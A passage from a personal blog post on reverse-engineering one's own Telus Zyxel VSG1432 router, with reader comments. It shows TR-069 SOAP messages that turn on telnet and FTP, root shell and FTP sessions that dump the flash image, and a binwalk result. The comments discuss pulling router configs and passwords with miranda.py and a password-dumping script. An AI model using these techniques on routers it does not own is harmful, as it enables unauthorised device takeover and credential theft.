xsi:type="xsd:string">tmp_hardware1.0</Value> </ParameterValueStruct> <ParameterValueStruct> <Name>InternetGatewayDevice.DeviceInfo.SoftwareVersion</Name> <Value xsi:type="xsd:string">1.10(VFA.0)b8</Value> </ParameterValueStruct> <ParameterValueStruct> <Name>InternetGatewayDevice.DeviceInfo.ProvisioningCode</Name> <Value xsi:type="xsd:string"></Value> </ParameterValueStruct> <ParameterValueStruct> <Name>InternetGatewayDevice.ManagementServer.ConnectionRequestURL</Name> <Value xsi:type="xsd:string">http://66.183.0.0:7547/tr069</Value> </ParameterValueStruct> <ParameterValueStruct> <Name>InternetGatewayDevice.ManagementServer.ParameterKey</Name> <Value xsi:type="xsd:string">1773896105</Value> </ParameterValueStruct> <ParameterValueStruct> <Name>InternetGatewayDevice.WANDevice.2.WANConnectionDevice.1.WANIPConnection.1.ExternalIPAddress</Name> <Value xsi:type="xsd:string">66.183.0.0</Value> </ParameterValueStruct> </ParameterList> </cwmp:Inform> </SOAP-ENV:Body> </SOAP-ENV:Envelope> HTTP/1.1 200 OK Content-Type: text/xml; charset=ISO-8859-1 Content-Length: 541 <soapenv:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:cwmp="urn:dslforum-org:cwmp-1-0" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <soapenv:Header> <cwmp:ID soapenv:mustUnderstand="1">1117230366</cwmp:ID> </soapenv:Header> <soapenv:Body> <cwmp:InformResponse> <MaxEnvelopes>1</MaxEnvelopes> </cwmp:InformResponse> </soapenv:Body> </soapenv:Envelope> POST / HTTP/1.1 Host: 192.168.1.81:80 User-Agent: BCM_TR69_CPE_04_00 Connection: keep-alive SOAPAction: Content-Type: text/xml Content-Length: 0 HTTP/1.1 200 OK Content-Type: text/xml; charset=ISO-8859-1 Content-Length: 1090 <soapenv:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:cwmp="urn:dslforum-org:cwmp-1-0" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <soapenv:Header> <cwmp:ID soapenv:mustUnderstand="1">472554387</cwmp:ID> </soapenv:Header> <soapenv:Body> <cwmp:SetParameterValues> <ParameterList soap:arrayType="cwmp:ParameterValueStruct[2]"> <ParameterValueStruct> <Name>InternetGatewayDevice.X_5067F0_AccessServiceCfg.TelnetStatus</Name> <Value xsi:type="xsd:string">LAN_ONLY</Value> </ParameterValueStruct> <ParameterValueStruct> <Name>InternetGatewayDevice.X_5067F0_AccessServiceCfg.FtpStatus</Name> <Value xsi:type="xsd:string">LAN_ONLY</Value> </ParameterValueStruct> </ParameterList> <ParameterKey>1773896105</ParameterKey> </cwmp:SetParameterValues> </soapenv:Body> </soapenv:Envelope> POST / HTTP/1.1 Host: 192.168.1.81:80 User-Agent: BCM_TR69_CPE_04_00 Connection: keep-alive SOAPAction: Content-Type: text/xml Content-Length: 574 <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:cwmp="urn:dslforum-org:cwmp-1-0"> <SOAP-ENV:Header> <cwmp:ID SOAP-ENV:mustUnderstand="1">472554387</cwmp:ID> </SOAP-ENV:Header> <SOAP-ENV:Body> <cwmp:SetParameterValuesResponse> <Status>0</Status> </cwmp:SetParameterValuesResponse> </SOAP-ENV:Body> </SOAP-ENV:Envelope> HTTP/1.1 204 No Content Content-Length: 0 Content-Type: text/xml; charset=ISO8859-1
So, that worked. Lets see what telnet has.
nada@nemph:~/working/zyxel_vsg1432$ telnet 192.168.1.254 Trying 192.168.1.254... Connected to 192.168.1.254. Escape character is '^]'. TELUS VSG1432 Login: root Password: > ? ? help logout exit quit reboot df meminfo kill echo ifconfig ping ps pwd sysinfo tftp wlctl arp lan lanhosts restoredefault save swversion wlan tr069 vcautohunt dhcpcondserv tr69c > ls telnetd:error:513.028:processInput:516:unrecognized command ls > cd telnetd:error:516.168:processInput:516:unrecognized command cd > echo "Well this blows" Well this blows > quit Bye bye. Have a nice day!!! Connection closed by foreign host. nada@nemph:~/working/zyxel_vsg1432$
That was probably about the most useless shell there is. The tftp function was only for getting a firmware upgrade and it was unable to backup the current image. There are more commands available aside from what is listed. These include cat, iptables and brctl so it would be possible to set the router into bridged mode from the shell if required.
Hopefully FTP will be better.
nada@nemph:~/working/zyxel_vsg1432$ ftp 192.168.1.254 Connected to 192.168.1.254. 220 Ftp firmware update utility Name (192.168.1.254:nada): root 331 Password please. Password: 230 User logged in. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls 200 PORT 192.168.1.XX:54848 OK 150 BINARY data connection established. 226 Directory list has been submitted. ftp> cd /dev 451 Error: Unauthorized directory. ftp> get /dev/mtdblock0 block0 local: block0 remote: /dev/mtdblock0 200 PORT 192.168.1.XX:39129 OK 150 BINARY data connection established. 226 File transmission successful. 5783552 bytes received in 2.09 secs (2.6385 MB/s) ftp> get /dev/mtdblock1 block1 local: block1 remote: /dev/mtdblock1 200 PORT 192.168.1.XX:59781 OK 553 Error: No such device or address. ftp> get /dev/mtdblock2 block2 local: block2 remote: /dev/mtdblock2 200 PORT 192.168.1.XX:51193 OK 553 Error: No such device or address. ftp> get /dev/mtdblock3 block3 local: block3 remote: /dev/mtdblock3 200 PORT 192.168.1.XX:41470 OK 553 Error: No such device or address. ftp> get /dev/mtdblock4 block4 local: block4 remote: /dev/mtdblock4 200 PORT 192.168.1.XX:55605 OK 553 Error: No such device or address. ftp> get /dev/mtdblock5 block5 local: block5 remote: /dev/mtdblock5 200 PORT 192.168.1.XX:44789 OK 553 Error: No such device or address. ftp> quit 221 See you later... nada@nemph:~/working/zyxel_vsg1432$
Yee Ha. Directory listings don’t work for some reason (probably because ls isn’t in the firmware image.) but I was able to get a copy of the flash block. Lets see what it is.
nada@nemph:~/working/zyxel_vsg1432$ binwalk block0 DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 Squashfs filesystem, little endian, non-standard signature, version 4.0, compression:gzip, size: 5780238 bytes, 1041 inodes, blocksize: 65536 bytes, created: Mon Mar 12 03:37:54 2012 nada@nemph:~/working/zyxel_vsg1432$
Yup, that’s the firmware alright. Stay tuned for part two where I take a look at the firmware and find some interesting things…
#1 by Kyo on January 3, 2016 - 1:40 pm
Hi! nice info!
I’m trying to change in my router, a ZTE model with tr069 active, the ACL control list that I accidentally enabled and lost LAN/WAN http access, yeah I know,.. can you explain me a little bit more of the TR069 config modification that you used in here?
#2 by nada on January 3, 2016 - 5:06 pm
I changed the tr069 server using the web interface, and then requested a connect back from the router using the information in the configuration. If the tr069 server is still set to your ISPs default, you won’t be able to use that method. If you do some probing with miranda.py of your router, you may be able to download the config using the GetConfiguration method, remove the ACLs and then re-upload it using the SetConfiguration method.
The quickest way is going to be a factory reset, after which your router will re-configure itself from your ISP and then you should be able to log in with the username and password on your router.
#3 by Kyo on January 3, 2016 - 9:53 pm
Hi Nada, thanks for your time!!
I don’t wanted to reset to defaults because ISP is a pain in the *** with the support for configuration of the routers, they don’t have autoconfig enabled…
The more bad news is that the router don’t have upnp enabled… so I will keep searching for other way, I have found other sources but requires serial connection to router that I don;t have also jeje.
Anyways, thanks again for your time!
#4 by Mike on March 29, 2016 - 5:39 pm
Has Telus changed the password again?
#5 by nada on March 29, 2016 - 6:14 pm
It looks like the passwords are now unique to each router and configured when the router is first provisioned.
#6 by doh on May 11, 2016 - 8:30 pm
Tried running the zyxel python script and got the following, any ideas?
//////////////////////////////////////////
Discover mode halted…
Requesting device and service info for 192.168.1.254:1780 (this could take a few seconds)…
Host data enumeration complete! Checking for GetConfiguration action…
Requesting device and service info for 192.168.1.254:5431 (this could take a few seconds)…
Host data enumeration complete! Checking for GetConfiguration action…
Requesting device and service info for 192.168.1.254:49431 (this could take a few seconds)…
Host data enumeration complete! Checking for GetConfiguration action…
…Got it! Grabbing the config.
Traceback (most recent call last):
File “zyxel_passwords.py”, line 97, in
p = dump_passwords(cfg)
File “zyxel_passwords.py”, line 21, in dump_passwords
r = ET.fromstring(cfg)
File “/usr/lib/python2.7/xml/etree/ElementTree.py”, line 1300, in XML
parser.feed(text)
File “/usr/lib/python2.7/xml/etree/ElementTree.py”, line 1642, in feed
self._raiseerror(v)
File “/usr/lib/python2.7/xml/etree/ElementTree.py”, line 1506, in _raiseerror
raise err
xml.etree.ElementTree.ParseError: not well-formed (invalid token): line 1657, column 28
#7 by nada on May 14, 2016 - 7:48 am
Looks like the config file is stuffed. You might want to use miranda directly, as I did in the post, in order to download the config.
Have lots of scrollback in your console or redirect all output through tee.
-nada
#8 by Adam on January 31, 2017 - 3:19 pm
So each Zyxel 1432 for telus has its own unique ROOT password?
#9 by nada on January 31, 2017 - 6:06 pm
Appears to be that way for this firmware from Telus, which is doing things the right way. Exposing it to whoever asks isn’t.
#10 by adam on February 2, 2017 - 12:17 pm
what in your opinion would be the best password software recovery for back-dooring this router
#11 by adam on February 2, 2017 - 12:19 pm
one thing I am not keen on is my ISP doing things on the sly